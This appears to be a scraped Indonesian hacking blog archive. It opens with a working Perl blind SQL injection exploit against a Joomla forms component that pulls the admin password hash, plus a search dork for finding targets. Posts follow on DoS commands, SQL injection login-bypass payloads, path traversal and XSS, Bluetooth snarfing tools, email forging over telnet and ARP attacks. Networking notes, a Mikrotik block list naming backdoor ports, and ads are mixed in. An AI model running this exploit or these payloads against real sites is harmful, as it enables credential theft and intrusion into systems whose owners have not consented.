print " #Greetz:Team-dz,His0k4,x.CJP.x,Kader11000,c02,piRAte DIgitAL\n";
print " # sites:www.h4cnc.com ,www.dz-secure.com #\n";
print " # Dork: inurl:com_n-forms #\n";
print " # Usage: perl forms.pl host path #\n";
print " # Example: perl forms.pl www.host.com /path/ -f 10 #\n";
print " # #\n";
print " # Options: #\n";
print " # -s Valid form id #\n";
print " # Note: #\n";
print " # You can change the match string if you need that #\n";
print " #########################################################\n";
exit;
}

my $host = $ARGV[0];
my $path = $ARGV[1];
my $userid = 1;
my $fid = $ARGV[2];
my %options = ();
GetOptions(\%options, "u=i", "p=s", "f=i");
print "[~] Exploiting...\n";
if($options{"u"})
{
$userid = $options{"u"};
}
if($options{"f"})
{
$fid = $options{"f"};
}
syswrite(STDOUT, "[~] MD5-Hash: ", 14);
for(my $i = 1; $i <= 32; $i++)
{
my $f = 0;
my $h = 48;
while(!$f && $h <= 57)
{
if(istrue2($host, $path, $userid, $fid, $i, $h))
{
$f = 1;
syswrite(STDOUT, chr($h), 1);
}
$h++;
}
if(!$f)
{
$h = 97;
while(!$f && $h <= 122)
{
if(istrue2($host, $path, $userid, $fid, $i, $h))
{
$f = 1;
syswrite(STDOUT, chr($h), 1);
}
$h++;
}
}
}
print "\n[~] Exploiting done\n";
sub istrue2
{
my $host = shift;
my $path = shift;
my $uid = shift;
my $fid = shift;
my $i = shift;
my $h = shift;

my $ua = LWP::UserAgent->new;
my $query = "http://".$host.$path."index.php?
option=com_n-forms&form_id=".$fid." and ascii
(SUBSTRING((SELECT password FROM mos_users LIMIT 0,1 )
,".$i.",1))=".$h."";

if($options{"p"})
{
$ua->proxy('http', "http://".$options{"p"});
}

my $resp = $ua->get($query);
my $content = $resp->content;
my $regexp = "nfields";

if($content =~ /$regexp/)
{
return 1;
}
else
{
return 0;
}
}

# milw0rm.com [2008-07-12]

basic Denial Of Service (DoS) Attacks

2009-02-15T03:52:00.002+07:00

A denial of service (DoS) attack is an attack that clogs up so much memory on the target system that it can not serve it's users, or it causes the target system to crash, reboot, or otherwise deny services to legitimate users.There are several different kinds of dos attacks as discussed below:-

1) Ping Of Death :- The ping of death attack sends oversized ICMP datagrams (encapsulated in IP packets) to the victim.The Ping command makes use of the ICMP echo request and echo reply messages and it's commonly used to determine whether the remote host is alive. In a ping of death attack, however, ping causes the remote system to hang, reboot or crash. To do so the attacker uses, the ping command in conjuction with -l argument (used to specify the size of the packet sent) to ping the target system that exceeds the maximum bytes allowed by TCP/IP (65,536).
example:- c:/>ping -l 65540 hostname
Fortunately, nearly all operating systems these days are not vulnerable to the ping of death attack.

2) Teardrop Attack :- Whenever data is sent over the internet, it is broken into fragments at the source system and reassembled at the destination system. For example you need to send 3,000 bytes of data from one system to another. Rather than sending the entire chunk in asingle packet, the data is broken down into smaller packets as given below:
* packet 1 will carry bytes 1-1000.
* packet 2 will carry bytes 1001-2000.
* packet 3 will carry bytes 2001-3000.
In teardrop attack, however, the data packets sent to the target computer contais bytes that overlaps with each other.
(bytes 1-1500) (bytes 1001-2000) (bytes 1500-2500)
When the target system receives such a series of packets, it can not reassemble the data and therefore will crash, hang, or reboot.
Old Linux systems, Windows NT/95 are vulnerable.

3) SYN - Flood Attack :- In SYN flooding attack, several SYN packets are sent to the target host, all with an invalid source IP address. When the target system receives these SYN packets, it tries to respond to each one with a SYN/ACK packet but as all the source IP addresses are invalid the target system goes into wait state for ACK message to receive from source. Eventually, due to large number of connection requests, the target systems' memory is consumed. In order to actually affect the target system, a large number of SYN packets with invalid IP addresses must be sent.

4) Land Attack :- A land attack is similar to SYN attack, the only difference being that instead of including an invalid IP address, the SYN packet include the IP address of the target sysetm itself. As a result an infinite loop is created within the target system, which ultimately hangs and crashes.Windows NT before Service Pack 4 are vulnerable to this attack.

5) Smurf Attack :- There are 3 players in the smurf attack–the attacker,the intermediary (which can also be a victim) and the victim. In most scenarios the attacker spoofs the IP source address as the IP of the intended victim to the intermediary network broadcast address. Every host on the intermediary network replies, flooding the victim and the intermediary network with network traffic.

Result:- Performance may be degraded such that the victim, the victim and intermediary networks become congested and unusable, i.e. clogging the network and preventing legitimate users from obtaining network services.

6) UDP - Flood Attack :- Two UDP services: echo (which echos back any character received) and chargen (which generates character) were used in the past for network testing and are enabled by default on most systems. These services can be used to launch a DOS by connecting the chargen to echo ports on the same or another machine and generating large amounts of network traffic.

Thanks kev

basic SQL injection

2009-02-15T03:51:00.000+07:00

SQL injection is a technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. Web pages which accepts parameters from user, and make SQL query to the database, are targeted. For Example, A web page with username and password, fires SQL query on the database to check whether a user has entered valid name and/or password or not. With SQL Injection, it is possible for us to send crafted user name and/or password field that will change the SQL query and thus grant us something else.

What is Required?
1) Any Web Browser
2) Some Basic SQL (Structured Query Language) Queries such as 'SELECT', 'INSERT', 'UPDATE', 'DELETE', etc. along with their attributes (i.e Syntax).

What you should look for?
Try to look for pages that allow you to submit data, i.e: login page, search page, feedback, etc. Sometimes, HTML pages use POST command to send parameters to another ASP/ASPX page. Therefore, you may not see the parameters in the URL. However, you can check the source code of the HTML, and look for "FORM" tag in the HTML code. You may find something like this in some HTML codes:

Everything between the tags have potential parameters that might be useful.

OR

You should look for pages like ASP, ASPX, JSP, CGI, or PHP.
Try to look especially for URL that takes parameters, like:
http://example.com/login.asp?id=10

Is it Vulnerable?
Start with a single quote trick. Input something like:
hi' or 1=1--
Into login, or password, or even in the URL. Example:
Login: hi' or 1=1--
Pass: hi' or 1=1--
http://example.com/login.asp?id=hi' or 1=1--

You can do this with a hidden field, just view the source HTML from the site, save it in your hard disk, modify the URL and hidden field accordingly.
Example:

If luck is on your side, you will get login without any login name or password.

But why ' or 1=1-- ?
Take an asp page that will link you to another page with the following URL:
http://example.com/search.asp?category=sports
In this URL 'category' is the variable name and 'sports' is it's value.
Here this request fires following query on the database in background.
SELECT * FROM search WHERE category='sports'
Where 'search' is the name of table which is already present in some database.
So, this query returns all the possible entries from table 'search' which comes under the category 'sports'.

Now, assume that we change the URL into something like this:
http://example.com/search.asp?category=sports' or 1=1--
Now, our variable 'category' equals to "sports' or 1=1-- ", which fires SQL query on database something like:
SELECT * FROM search WHERE category='sports' or 1=1--'
The query should now select everything from the 'search' table regardless if category is equal to 'sports' or not.
A double dash "--" tell MS SQL server to ignore the rest of the query, which will get rid of the last hanging single quote (').
Sometimes, it may be possible to replace double dash with single hash "#".

However, if it is not an SQL server, or you simply cannot ignore the rest of the query, you also may try
' or 'a'='a
It should return the same result.
Depending on the actual SQL query, you may have to try some of these possibilities:

' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
'or''='

Countermeasures ?
Filter out character like ' " - / \ ; NULL, etc. in all strings from:
* Input from users
* Parameters from URL
* Values from cookie

Basic Technic Input Validation Attacks (hacking)

2009-02-15T03:47:00.001+07:00

Input Validation Attacks are where an attacker intentionally sends unusual input in the hopes of confusing the application.
The most common input validation attacks are as follows-

1) Buffer Overflow :- Buffer overflow attacks are enabled due to sloppy programming or mismanagement of memory by the application developers. Buffer overflow may be classified into stack overflows, format string overflows, heap overflows and integer overflows. It may possible that an overflow may exist in language’s (php, java, etc.) built-in functions.
To execute a buffer overflow attack, you merely dump as much data as possible into an input field. The attack is said to be successful when it returns an application error. Perl is well suited for conducting this type of attack.
Here’s the buffer test, calling on Perl from the command line:
$ echo –e “GET /login.php?user=\
> `perl –e ‘print “a” x 500’`\nHTTP/1.0\n\n” | \
nc –vv website 80
This sends a string of 500 “a” characters for the user value to the login.php file.
Buffer overflow can be tested by sending repeated requests to the application and recording the server's response.

2) Canonicalization :- These attacks target pages that use template files or otherwise reference alternate files on the web server. The basic form of this attack is to move outside of the web document root in order to access system files, i.e., “../../../../../../../../../boot.ini”. This type of functionality is evident from the URL and is not limited to any one programming language or web server. If the application does not limit the types of files that it is supposed to view, then files outside of the web document root are targeted, something like following-
/menu.asp?dimlDisplayer=menu.asp
/webacc?User.asp=login.htt
/SWEditServlet?station_path=Z&publication_id=2043&template=login.tem
/Getfile.asp?/scripts/Client/login.js
/includes/printable.asp?Link=customers/overview.htm

3) Cross-site Scripting (XSS) :- Cross-site scripting attacks place malicious code, usually JavaScript, in locations where other users see it. Target fields in forms can be addresses, bulletin board comments, etc.
We have found that error pages are often subject to XSS attacks. For example, the URL for a normal application error looks like this:
http://website/inc/errors.asp?Error=Invalid%20password
This displays a custom access denied page that says, “Invalid password”. Seeing a string
on the URL reflected in the page contents is a great indicator of an XSS vulnerability. The attack would be created as:
http://website/inc/errors.asp?Error=That is, place the script tags on the URL.

4) SQL Injection :- This kind of attack occurs when an attacker uses specially crafted SQL queries as an input, which can open up a database. Online forms such as login prompts, search enquiries, guest books, feedback forms, etc. are specially targeted.
The easiest test for the presence of a SQL injection attack is to append “or+1=1” to the URL and inspect the data returned by the server.
example:- http://www.domain.com/index.asp?querystring=sports' or 1=1--

Basic BlueTooth Hacking

2009-02-15T03:41:00.002+07:00

Discovering Bluetooth Devices :-

Before any two bluetooth enabled devices can start communicating with one another, they must carry out a procedure known as discovery. It can be carried out by scanning for other active devices within the range.

Recommended Tools

BlueScanner It will try to extract as much information as possible for each newly discovered device Download
BlueSniff It is a GUI-based utility for finding discoverable and hidden Bluetooth-enabled devices Download
BTBrowser It is a J2ME application that can browse and explore the technical specification of surrounding Bluetooth enabled devices. It works on phones that supports JSR-82 - the Java Bluetooth specification Download
BTCrawler It is a scanner for Windows Mobile based devices. It also implements the BlueJacking and BlueSnarfing attacks -----

Hacking Bluetooth Devices :-
There are a variety of different types of bluetooth related threats and attacks that can be executed against unsuspecting mobile phone users. Following are some of the most common types of threats :-

1) BluePrinting Attack :- Information gathering is the first step in the quest to break into target system. Even BlueTooth devices can be fingerprinted or probed for information gathering using the technique known as BluePrinting. Using this one can determine manufacturer, model, version, etc. for target bluetooth enabled device.
Recommended Tools
BluePrint As the name suggests Download
BTScanner It is an information gathering tool that allows attacker to query devices without the need to carry out pairing Download

2) BlueJack Attack :- Bluejacking is the process of sending an anonymous message from a bluetooth enabled phone to another, within a particular range without knowing the exact source of the recieved message to the recepient.
Recommended Tools
FreeJack Bluejacking tool written in JAVA -----
CIHWB Can I Hack With Bluetooth (CIHWB) is a Bluetooth security auditing framework for Windows Mobile 2005. Supports BlueSnarf, BlueJack, and some DoS attacks. Should work on any PocketPC with the Microsoft Bluetooth stack Download

3) BlueSnarf Attack :- Bluesnarfing is the process of connecting vulnerable mobile phones through bluetooth, without knowing the victim. It involves OBEX protocol by which an attacker can forcibly push/pull sensitive data in/out of the victim's mobile phone, hence also known as OBEX pull attack.
This attack requires J2ME enabled mobile phones as the attacker tool. With J2ME enabled phone, just by using bluesnarfing tools like Blooover, Redsnarf, Bluesnarf, etc. an attacker can break into target mobile phone for stealing sensitive data such as address book, photos, mp3, videos, SMS, ......!
Recommended Tools
Blooover It is a J2ME-based auditing tool. It is intended to serve as an auditing tool to check whether a mobile phone is vulnerable. It can also be used to carry out BlueBug attack Download
RedSnarf One of the best bluesnarfing tool .
BlueSnarfer It downloads the phone-book of any mobile device vulnerable to Bluesnarfing Download

thanks kev

Wireless Hacking

2009-02-15T03:37:00.001+07:00

Wireless networks broadcast their packets using radio frequency or optical wavelengths. A modern laptop computer can listen in. Worse, an attacker can manufacture new packets on the fly and persuade wireless stations to accept his packets as legitimate.
The step by step procerdure in wireless hacking can be explained with help of different topics as follows:-

1) Stations and Access Points :- A wireless network interface card (adapter) is a device, called a station, providing the network physical layer over a radio link to another station.
An access point (AP) is a station that provides frame distribution service to stations associated with it.
The AP itself is typically connected by wire to a LAN. Each AP has a 0 to 32 byte long Service Set Identifier (SSID) that is also commonly called a network name. The SSID is used to segment the airwaves for usage.

2) Channels :- The stations communicate with each other using radio frequencies between 2.4 GHz and 2.5 GHz. Neighboring channels are only 5 MHz apart. Two wireless networks using neighboring channels may interfere with each other.

3) Wired Equivalent Privacy (WEP) :- It is a shared-secret key encryption system used to encrypt packets transmitted between a station and an AP. The WEP algorithm is intended to protect wireless communication from eavesdropping. A secondary function of WEP is to prevent unauthorized access to a wireless network. WEP encrypts the payload of data packets. Management and control frames are always transmitted in the clear. WEP uses the RC4 encryption algorithm.

4) Wireless Network Sniffing :- Sniffing is eavesdropping on the network. A (packet) sniffer is a program that intercepts and decodes network traffic broadcast through a medium. It is easier to sniff wireless networks than wired ones. Sniffing can also help find the easy kill as in scanning for open access points that allow anyone to connect, or capturing the passwords used in a connection session that does not even use WEP, or in telnet, rlogin and ftp connections.

5 ) Passive Scanning :- Scanning is the act of sniffing by tuning to various radio channels of the devices. A passive network scanner instructs the wireless card to listen to each channel for a few messages. This does not reveal the presence of the scanner. An attacker can passively scan without transmitting at all.

6) Detection of SSID :- The attacker can discover the SSID of a network usually by passive scanning because the SSID occurs in the following frame types: Beacon, Probe Requests, Probe Responses, Association Requests, and Reassociation Requests. Recall that management frames are always in the clear, even when WEP is enabled.
When the above methods fail, SSID discovery is done by active scanning

7) Collecting the MAC Addresses :- The attacker gathers legitimate MAC addresses for use later in constructing spoofed frames. The source and destination MAC addresses are always in the clear in all the frames.

8) Collecting the Frames for Cracking WEP/WPA/mix :- The goal of an attacker is to discover the WEP shared-secret key. The attacker sniffs a large number of frames An example of a WEP/WPA/mix cracking tool is AirSnort ( http://airsnort.shmoo.com ).

9) Detection of the Sniffers :- Detecting the presence of a wireless sniffer, who remains radio-silent, through network security measures is virtually impossible. Once the attacker begins probing (i.e., by injecting packets), the presence and the coordinates of the wireless device can be detected.

10) Wireless Spoofing :- There are well-known attack techniques known as spoofing in both wired and wireless networks. The attacker constructs frames by filling selected fields that contain addresses or identifiers with legitimate looking but non-existent values, or with values that belong to others. The attacker would have collected these legitimate values through sniffing.

11) MAC Address Spoofing :- The attacker generally desires to be hidden. But the probing activity injects frames that are observable by system administrators. The attacker fills the Sender MAC Address field of the injected frames with a spoofed value so that his equipment is not identified.

12) IP spoofing :- Replacing the true IP address of the sender (or, in rare cases, the destination) with a different address is known as IP spoofing. This is a necessary operation in many attacks.

13) Frame Spoofing :- The attacker will inject frames that are valid but whose content is carefully spoofed.

14) Wireless Network Probing :- The attacker then sends artificially constructed packets to a target that trigger useful responses. This activity is known as probing or active scanning.

15) AP Weaknesses :- APs have weaknesses that are both due to design mistakes and user interfaces

16) Trojan AP :- An attacker sets up an AP so that the targeted station receives a stronger signal from it than what it receives from a legitimate AP.

17) Denial of Service :- A denial of service (DoS) occurs when a system is not providing services to authorized clients because of resource exhaustion by unauthorized clients. In wireless networks, DoS attacks are difficult to prevent, difficult to stop. An on-going attack and the victim and its clients may not even detect the attacks. The duration of such DoS may range from milliseconds to hours. A DoS attack against an individual station enables session hijacking.

18) Jamming the Air Waves :- A number of consumer appliances such as microwave ovens, baby monitors, and cordless phones operate on the unregulated 2.4GHz radio frequency. An attacker can unleash large amounts of noise using these devices and jam the airwaves so that the signal to noise drops so low, that the wireless LAN ceases to function.

19) War Driving :- Equipped with wireless devices and related tools, and driving around in a vehicle or parking at interesting places with a goal of discovering easy-to-get-into wireless networks is known as war driving. War-drivers (http://www.wardrive.net) define war driving as “The benign act of locating and logging wireless access points while in motion.” This benign act is of course useful to the attackers.
Regardless of the protocols, wireless networks will remain potentially insecure because an attacker can listen in without gaining physical access.

Tips for Wireless Home Network Security

1) Change Default Administrator Passwords (and Usernames)
2) Turn on (Compatible) WPA / WEP Encryption
3) Change the Default SSID
4) Disable SSID Broadcast
5) Assign Static IP Addresses to Devices
6) Enable MAC Address Filtering
7) Turn Off the Network During Extended Periods of Non-Use

8) Position the Router or Access Point Safely

- thanks kev

EMail Hacking

2009-02-15T03:29:00.005+07:00

All email communications on the internet are possible by two protocols:
1) Simple Mail Transfer Protocol (SMTP port-25)
2) Post Office Protocol (POP port-110)

E-Mail hacking consists of various techniques as discussed below.

1) EMail Tracing :- Generally, the path taken by an email while travelling from sender to receiver can be explained by following diagram.

The most effective and easiest way to trace an email is to analyze it's email headers. This can be done by just viewing the full header of received email.

Recommended Tools
NeoTrace http://www.neotrace.com
VisualRoute http://visualroute.visualware.com
E-MailTracker http://www.visualware.com
-0-------------

others trik

----------------

EMail Forging

EMail Forging :- Email forging allows an attacker to disguise the source of an email and send it to the victim. Most attackers use this technique to fool the victim into believing that somebody else has send the particular email.
The SMTP protocol makes it extremely easy for an attacker to send forged emails to a remote user.
Typically an attacker carries out email forging by following steps:

1) Start Command Prompt and type the following command-
c:/>telnet smtp.mailserver.com 25 or c:/>telnet mail.domain.com 25
example:- c:/>telnet smtp.gmail.com 25
The above command opens a telnet connection to the specified remote mail server on port-25. Where port-25 is the default SMTP port on which outgoing mail daemon runs.

2) Once you are connected to the mail daemon of remote mail server, you would be greeted with a message similar to following:-

If you are not familiar with the smtp mail daemon commands then enter the keyword 'help' at daemon which may reveal all the supporting commands as shown below.

3) The correct sequence of commands to be executed is:-
a) helo mailserver1.com
b) mail from:abc@mailserver1.com
c) rcpt to:xyz@mailserver2.com
d) data
e) .(dot command represents end of mail body)
This all as shown in figure below:

EMail forging by this technique does not possible, if mail relying is disabled by it's service provider.
---

Spam :- Every e-mail account and network on the internet has limited space and bandwidth. This means that if an attacker is able to clog up all the inbox space and bandwidth of the target computer, it could cause lot of inconvenience and unnecessary trouble. Spam e-mails have slowly but surely started clogging up the bandwidth on the internet and the memory space in our inboxes.

MailBombing:- Mailbombing is a technique wherein the attacker floods victim's e-mail account with an extremely large (sometimes infinite) number of unsolicited meaningless e-mails. Two different types of mailbombing are-

a) Mass Mailbombing
b) List Linking Mailbombing

thanks - kev

Address Resolution Protocol (ARP) Attacks

2009-02-15T03:23:00.000+07:00

What Does ARP Mean?
Address Resolution Protocol (ARP) is a stateless protocol, was designed to map Internet Protocol addresses (IP) to their associated Media Access Control (MAC) addresses. This being said, by mapping a 32 bit IP address to an associated 48 bit MAC address via attached Ethernet devices, a communication between local nodes can be made.

On a majority of operating systems, such as Linux, FreeBSD, and other UNIX based operating systems, and even including Windows, the "arp" program is present. This program can be used to display and/or modify ARP cache entries.

An example of the "arp" utility's output would look like the following:

Windows:
> arp -a
Interface: 192.168.1.100 .- 0x10003
Internet Address Physical Address Type
192.168.1.1 00-13-10-23-9a-53 dynamic

Linux:
$ arp -na
? (192.168.1.1) at 00:90:B1:DC:F8:C0 [ether] on eth0

FreeBSD:
$ arp -na
? (192.168.1.1) at 00:00:0c:3e:4d:49 on bge0

How ARP works?
Specifically for Internet Protocol Version 4 (IPv4), ARP maps IP addresses between the Network layer and Data Link layer of the Open System Interconnection (OSI) model.
For a more complete and thorough explanation of how address resolution works, and protocol specifics, please consult RFC 826.

ARP Protocol Flaws :-
ARP's main flaw is in its cache. Knowing that it is possible for ARP to update existing entries as well as add to the cache, this leads one to believe that forged replies can be made, which result in ARP cache poisoning attacks.

Terms & Definitions :-
ARP Cache Poisoning : Broadcasting forged ARP replies on a local network. In a sense, "fooling" nodes on the network. This can be done because ARP lacks authentication features, thus blindly accepting any request and reply that is received or sent.

MAC Address Flooding : An ARP cache poisoning attack that is mainly used in switched environments. By flooding a switch with fake MAC addresses, a switch is overloaded. Because of this, it broadcasts all network traffic to every connected node. This outcome is referred to as "broadcast mode" because, all traffic passing through the switch is broadcasted out like a Hub would do. This then can result in sniffing all network traffic.

The ARP Attacks :-
1] Connection Hijacking & Interception : Packet or connection hijacking and interception is the act in which any connected client can be victimized into getting their connection manipulated in a way that it is possible to take complete control over.

2] Connection Resetting : The name explains itself very well. When we are resetting a client's connection, we are cutting their connection to the system. This can be easily done using specially crafted code to do so. Luckily, we have wonderful software that was made to aid us in doing so.

3] Man In The Middle : One of the more prominent ways of attacking another user in order to hijack their traffic, is by means of a Man In The Middle (MITM) attack. Unlike the other attacks, a MITM is more a packet manipulation attack which in the end however does result in packet redirection to the attacker . all traffic will get sent to the attacker doing the MITM attack. This attack however is specific. As opposed to MAC Address Flooding or other attacks against a router/switch, the MITM attack is against a victim, and also can be done outside of a switched environment. Thus meaning, an attack can be executed against a person on the other side of the country.

4] Packet Sniffing : Sniffing on a Local Area Network (LAN) is quite easy if the network is segmented via a hub, rather than a switch. It is of course possible to sniff on a switched environment by performing a MAC flood attack. As a result of the MAC flood, the switch will act as a hub, and allow the entire network to be sniffed. This gives you a chance to use any sort of sniffing software available to you to use against the network, and gather packets.

5] Denial of Service : MAC Address Flooding can be considered a Denial of service attack. The main idea of the MAC flood, is to generate enough packet data to send toward a switch, attempting to make it panic. This will cause the switch to drop into broadcast mode and broadcast all packet data. This however did not result in a crash, or the service to be dropped, but to be overloaded.

Thanks kev

Basic Network Hacking

2009-02-15T03:12:00.007+07:00

Network Hacking is generally means gathering information about domain by using tools like Telnet, NslookUp, Ping, Tracert, Netstat, etc.
It also includes OS Fingerprinting, Port Scaning and Port Surfing using various tools.

Ping :- Ping is part of ICMP (Internet Control Message Protocol) which is used to troubleshoot TCP/IP networks. So, Ping is basically a command that allows you to check whether the host is alive or not.
To ping a particular host the syntax is (at command prompt)--
c:/>ping hostname.com

example:- c:/>ping www.google.com

Various attributes used with 'Ping' command and their usage can be viewed by just typing c:/>ping at the command prompt.

Netstat :- It displays protocol statistics and current TCP/IP network connections. i.e. local address, remote address, port number, etc.
It's syntax is (at command prompt)--
c:/>netstat -n

Telnet :- Telnet is a program which runs on TCP/IP. Using it we can connect to the remote computer on particular port. When connected it grabs the daemon running on that port.
The basic syntax of Telnet is (at command prompt)--
c:/>telnet hostname.com

By default telnet connects to port 23 of remote computer.
So, the complete syntax is-
c:/>telnet www.hostname.com port

example:- c:/>telnet www.yahoo.com 21 or c:/>telnet 192.168.0.5 21

Tracert :- It is used to trace out the route taken by the certain information i.e. data packets from source to destination.
It's syntax is (at command prompt)--
c:/>tracert www.hostname.com
example:- c:/>tracert www.insecure.in

Here "* * * Request timed out." indicates that firewall installed on that system block the request and hence we can't obtain it's IP address.

various attributes used with tracert command and their usage can be viewed by just typing c:/>tracert at the command prompt.

The information obtained by using tracert command can be further used to find out exact operating system running on target system.

Thanks -=kevin=-

CISCO Learning & Workshop 2009

2008-12-24T17:35:00.003+07:00

Kami menyelenggarakan CISCO Learning & Workshop hari minggu (11 Januari 2009) dari jam 09.00 - 16.00 WIB.

Acara ini diselenggarakan sebagai pengetahuan basic/advance mengikuti ujian CISCO Sertifikasi.
Untuk informasi lebih lengkapnya Anda dapat menghubungi sekretariat pendaftaran resmi
ke management ISIC di nomor telp. 0761-62886 atau 0761-8365820 setiap hari kerja.
Biaya registrasi Rp.25.000,- Biaya Learning & Workshop Rp.300.000,-
Segala bentuk pembiayaan harus telah diterima panitia dua hari sebelum tanggal pelaksanaan.
Baik melalui pembayaran langsung maupun transfer.
Untuk pembayaran melalui transfer, bukti pembayaran harus dikirimkan via fax. di nomor faximile 0761-62886 atau email : greenarya.mg@gmail.com

Linux & Apple Merchandise

2008-12-08T12:57:00.003+07:00

Linux & Apple Merchandise

Material: art glass relife

Dimension: 20 x 8,5cm

Price: 60.000 IDR (5,5 USD)

contack order:
Yudhax
Jl. Lobak no.27 [Ardath]
Pekanbaru - Riau - Indonesia
phone/fax: 62-761-62886
hp: 0761-8365820

Block List Port for Mikrotik

2008-09-11T16:20:00.001+07:00

Just Documentation :

add chain=tcp protocol=tcp dst-port=67-68 action=drop comment=”deny DHCP”
add chain=tcp protocol=tcp dst-port=69 action=drop comment=”deny TFTP”
add chain=tcp protocol=tcp dst-port=111 action=drop comment=”deny RPC portmapper”
add chain=tcp protocol=tcp dst-port=135 action=drop comment=”deny RPC portmapper”
add chain=tcp protocol=tcp dst-port=137-139 action=drop comment=”deny NBT”
add chain=tcp protocol=tcp dst-port=445 action=drop comment=”deny cifs”
add chain=tcp protocol=tcp dst-port=593 action=drop comment=”________”
add chain=tcp protocol=tcp dst-port=1024-1030 action=drop comment=”________”
add chain=tcp protocol=tcp dst-port=1080 action=drop comment=”Drop MyDoom”
add chain=tcp protocol=tcp dst-port=1214 action=drop comment=”________”
add chain=tcp protocol=tcp dst-port=1363 action=drop comment=”ndm requester”
add chain=tcp protocol=tcp dst-port=1364 action=drop comment=”ndm server”
add chain=tcp protocol=tcp dst-port=1368 action=drop comment=”screen cast”
add chain=tcp protocol=tcp dst-port=1373 action=drop comment=”hromgrafx”
add chain=tcp protocol=tcp dst-port=1377 action=drop comment=”cichlid”
add chain=tcp protocol=tcp dst-port=1433-1434 action=drop comment=”Worm”
add chain=tcp protocol=tcp dst-port=2745 action=drop comment=”Bagle Virus”
add chain=tcp protocol=tcp dst-port=2283 action=drop comment=”Drop Dumaru.Y”
add chain=tcp protocol=tcp dst-port=2535 action=drop comment=”Drop Beagle”
add chain=tcp protocol=tcp dst-port=2745 action=drop comment=”Drop Beagle.C-K”
add chain=tcp protocol=tcp dst-port=3127-3128 action=drop comment=”Drop MyDoom”
add chain=tcp protocol=tcp dst-port=3410 action=drop comment=”Drop Backdoor OptixPro”
add chain=tcp protocol=tcp dst-port=4444 action=drop comment=”Worm”
add chain=tcp protocol=tcp dst-port=2049 action=drop comment=”deny NFS”
add chain=tcp protocol=tcp dst-port=3133 action=drop comment=”deny BackOriffice”
add chain=tcp protocol=tcp dst-port=5554 action=drop comment=”Drop Sasser”
add chain=tcp protocol=tcp dst-port=8866 action=drop comment=”Drop Beagle.B”
add chain=tcp protocol=tcp dst-port=9898 action=drop comment=”Drop Dabber.A-B”
add chain=tcp protocol=tcp dst-port=10000 action=drop comment=”Drop Dumaru.Y”
add chain=tcp protocol=tcp dst-port=10080 action=drop comment=”Drop MyDoom.B”
add chain=tcp protocol=tcp dst-port=12345-12346 action=drop comment=”deny NetBus”
add chain=tcp protocol=tcp dst-port=17300 action=drop comment=”Drop Kuang2″
add chain=tcp protocol=tcp dst-port=20034 action=drop comment=”deny NetBus”
add chain=tcp protocol=tcp dst-port=27374 action=drop comment=”Drop SubSeven”
add chain=tcp protocol=tcp dst-port=65506 action=drop comment=”Drop PhatBot, Agobot, Gaobot”
add chain=udp protocol=udp dst-port=4444 action=drop comment=”Worm”
add chain=udp protocol=udp dst-port=69 action=drop comment=”deny TFTP”
add chain=udp protocol=udp dst-port=111 action=drop comment=”deny PRC portmapper”
add chain=udp protocol=udp dst-port=135 action=drop comment=”deny PRC portmapper”
add chain=udp protocol=udp dst-port=137-139 action=drop comment=”deny NBT”
add chain=udp protocol=udp dst-port=2049 action=drop comment=”deny NFS”
add chain=udp protocol=udp dst-port=3133 action=drop comment=”deny BackOriffice”
add chain=icmp protocol=icmp icmp-options=0:0 action=accept comment=”drop invalid connections”
add chain=icmp protocol=icmp icmp-options=3:0 action=accept comment=”allow established connections”
add chain=icmp protocol=icmp icmp-options=3:1 action=accept comment=”allow already established connections”
add chain=icmp protocol=icmp icmp-options=4:0 action=accept comment=”allow source quench”
add chain=icmp protocol=icmp icmp-options=8:0 action=accept comment=”allow echo request”
add chain=icmp protocol=icmp icmp-options=11:0 action=accept comment=”allow time exceed”
add chain=icmp protocol=icmp icmp-options=12:0 action=accept comment=”allow parameter bad”
add chain=icmp action=drop comment=”deny all other types”

Redirect Mikrotik ke SquidBox

2008-09-11T16:17:00.001+07:00

Translasi dari command ip-tables pada linux ke mikrotik (sumber command syntax linux dari : http://tldp.org/HOWTO/TransparentProxy-6.html)

Method pertama :

iptables -t nat -A PREROUTING -i eth0 -s ! squid-box -p tcp –dport 80 -j DNAT –to squid-box:3128
iptables -t nat -A POSTROUTING -o eth0 -s local-network -d squid-box -j SNAT –to iptables-box
iptables -A FORWARD -s local-network -d squid-box -i eth0 -o eth0 -p tcp –dport 3128 -j ACCEPT

Spesifikasi :

Squid Box : 192.168.1.1, Mikrotik: 192.168.1.254
Mikrotik versi 2.9.27
LAN : ether1, Internet : ether2

Translasi ke mikrotik method pertama :

Pada table NAT :
- tambahkan dst-nat, src-address = !192.168.1.1 protocol=tcp dst-port=80 in-interface=ether1 action=dstnat to-addresses=192.168.1.1 to-port=3128
- tambahkan src-nat, src-address=192.168.1.0/24 out-interface=ether1 action=srcnat to-addresses=192.168.1.254 to-port=0-65535
- tambahkan filter rules chain=forward src-address=192.168.1.0/24 dst-address=192.168.1.1 dst-port=3128 in-interface=ether1 out-interface=ether2 action=accept

Method kedua :

iptables -t mangle -A PREROUTING -j ACCEPT -p tcp –dport 80 -s squid-box
iptables -t mangle -A PREROUTING -j MARK –set-mark 3 -p tcp –dport 80
ip rule add fwmark 3 table 2
ip route add default via squid-box dev eth1 table 2
Next, squid-box. Use this command, which should look remarkably similar to a command we’ve seen previously.
iptables -A PREROUTING -t nat -i eth0 -p tcp –dport 80 -j REDIRECT –to-port 3128

Translasi ke mikrotik method kedua :

Pada table mangle, tambahkan chain=prerouting protocol=tcp dst-port=80 action=mark routing new routing mark=mark80
Pada table filter, tambahkan chain=forward routing mark=mark80 action=accept
Pada IP-Route, tambahkan destination=0.0.0.0/0 gateway=192.168.1.1 mark=mark80 distance=1 interface=ether1
Untuk di Squid Box silakan sesuai dengan firewall yang anda gunakan, saya menggunakan shorewall, cukup menambahkan di file /etc/shorewall/ruless -> REDIRECT local 3128 tcp www - !192.168.1.1

data sub:
-----------------------------------------------------------------------------------
http://cangkirkopi.wordpress.com/2007/07/30/redirect-mikrotik-ke-squidbox/

Transparent Proxy Mikrotik Server

2008-09-11T16:15:00.000+07:00

asumsikan bahwa transparent proxy sudah berjalan normal pada Proxy Server

1. Table NAT ( IP > Firewall > NAT )

dst-nat, src-address = !192.168.0.254 protocol=tcp dst-port=80 in-interface=ether2 action=dstnat to-addresses=192.168.0.254 to-port=3128

